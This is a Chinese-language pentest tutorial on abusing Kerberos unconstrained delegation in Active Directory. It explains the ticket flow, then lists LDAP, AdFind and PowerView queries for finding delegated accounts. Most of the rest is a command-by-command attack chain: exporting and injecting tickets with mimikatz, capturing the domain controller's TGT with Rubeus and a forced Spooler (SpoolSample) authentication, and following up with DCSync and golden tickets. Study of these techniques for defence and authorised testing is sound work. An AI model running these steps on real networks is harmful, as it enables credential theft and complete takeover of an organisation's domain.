一、非约束性委派的原理:
简单来讲:
当某个域内用户user1访问到开启了非约束委派的服务时,该服务可以获取user1用户的 TGT ,并将该TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟user1用户去访问任意服务(前提得是user1能访问到的服务)
具体认证流程:
1、用户机器向KDC请求可转发的TGT1
2、KDC在消息中给返回TGT1(访问服务1使用)
3、用户通过TGT1请求转发TGT2(访问服务2使用)
4、KDC返回消息TGT2
5、用户使用TGT1向KDC申请访问服务1
6、TGS 返回 ST 给用户
7、用户发送AP_REQ请求服务1,包含了TGT1、TGT2、TGT2的sessionkey
8、服务1使用用户发送过来的TGT2去请求KDC,并以用户的身份请求服务2的ST
9、KDC返回服务2的ST给服务1(这里ST将来源请求标记为用户机器,而不是服务1)
10、服务1以用户的名义请求服务2
11、服务2回应服务1请求
12、服务1回应用户机器请求
13、服务1能够向KDC请求其他服务ST
14、KDC返回其他服务ST
15、服务1以用户名义请求其他服务
16、其他服务回应服务1
总之一句话就是:将域内用户的权限委派给开启了非约束委派的服务,服务账号就能以该域内用户的身份在域内愉快的"玩耍"了,而且重要的是该域内用户不能被设置了"敏感用户,不能被委派"的属性,不过现在非约束性委派在企业内基本很少用
二、非约束性委派的配置和发现:
1、创建非约束委派账号:
# 给test2注册sqn服务,test2用户要存在,注册完之后test2就是服务账户了
setspn -U -A MSSQLSvc/mssql.hack.com:1433 test2
开启服务账号test2的委派设置:
设置机器账号为委派:
注意:只有服务账号和主机账号能设置委派
当设置成功后,账号的userAccountControl属性会包含TRUSTED_FOR_DELEGATION
2、发现域内非约束委派账号:
①利用ldapsearch
# 非约束委派用户
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"
# 非约束委派机器
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"
域控默认开启非约束委派
②利用Adfind
# 非约束委派用户
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 非约束委派机器
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
③利用poweview(powersploit下的)
# 非约束委派用户
powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain hack.com | select name"
# 非约束委派机器
powershell -exec bypass "Import-Module .\PowerView.ps1;Get-NetComputer -Unconstrained -Domain hack.com | select samaccountname"
④倾璇师傅的
# 非约束委派机器
./goDomain -username 域名\\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-unconstrained-delegation-computers
三、非约束性委派的利用:
1、手动触发(实战中比较鸡肋,需要管理员主动去连接服务):
①先清除票据
mimikatz "privilege::debug" "kerberos::purge" "exit"
②模拟管理员访问到服务机器上(开启了非约束委派),那么此时管理员的TGT就会留在服务机器上,就可以进行利用了
ps> Enter-PSSession -ComputerName 服务机器名
③使用mimikatz导出票据
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
可以看到有Adminitrator字样的就是域管的TGT
④注入票据
mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"
⑤访问域控
dir \\域控机器名\c$
没注入之前是访问失败的,注入成功之后就可以访问域控了
2、配合Spooler打印机服务(可以对指定主机进行强制触发,需要服务主机开启了非约束委派):
spooler服务是默认开启的,这里我利用cme查询一下:
./cme smb 域控ip -M spooler
①本地触发
1、rubeus开启监听Event ID为4624事件,截取域控的TGT
Rubeus.exe monitor /interval:1 /filteruser:域控主机名$
需要管理员权限运行
2、向域控的Spooler服务发送请求,强制其访问非约束委派机器进行身份验证
spool_sample_windows_x86.exe 域控主机名 非约束委派机器名
切记:一定要使用普通管理员的权限(不用绕过UAC)来执行spoolsample.exe命令,只有这样才能导出域控主机账户的tgt
然后就可以监听到base编码的tgt
3、注入票据,rubeus可以直接将base64的tgt进行注入:
Rubeus.exe ptt /ticket:base64编码的TGT
还可以使用powershell对base64编码的tgt转为票据格式:
[IO.File]::WriteAllBytes(".\xxx.kirbi", [Convert]::FromBase64String("base64编码的tgt"))
可以对此票据使用mimikatz进行导入
或者使用mimikatz直接导出票据:
mimikatz "privilege::debug" "sekurlsa::tickets /export" "exit"
可以看到有导出了来自域控PANDA的票据
再注入票据:
mimikatz "privilege::debug" "kerberos::ptt xxx.kirbi" "exit"
注入票据之后的操作就多了,可以访问利用dcsync导出域内hash、获得krbgt的hash制作黄金票据等
②远程触发
需要条件:拿到内网中一台linux主机权限、非约束委派的服务hash、一个域内用户账号密码
参考如下文章进行利用:
https://mp.weixin.qq.com/s/aM2k01N6_H5FOxoEyj39LA
https://blog.csdn.net/qq_43645782/article/details/118762916
https://mp.weixin.qq.com/s/3woYDMdqqldLDWiq3dsXnw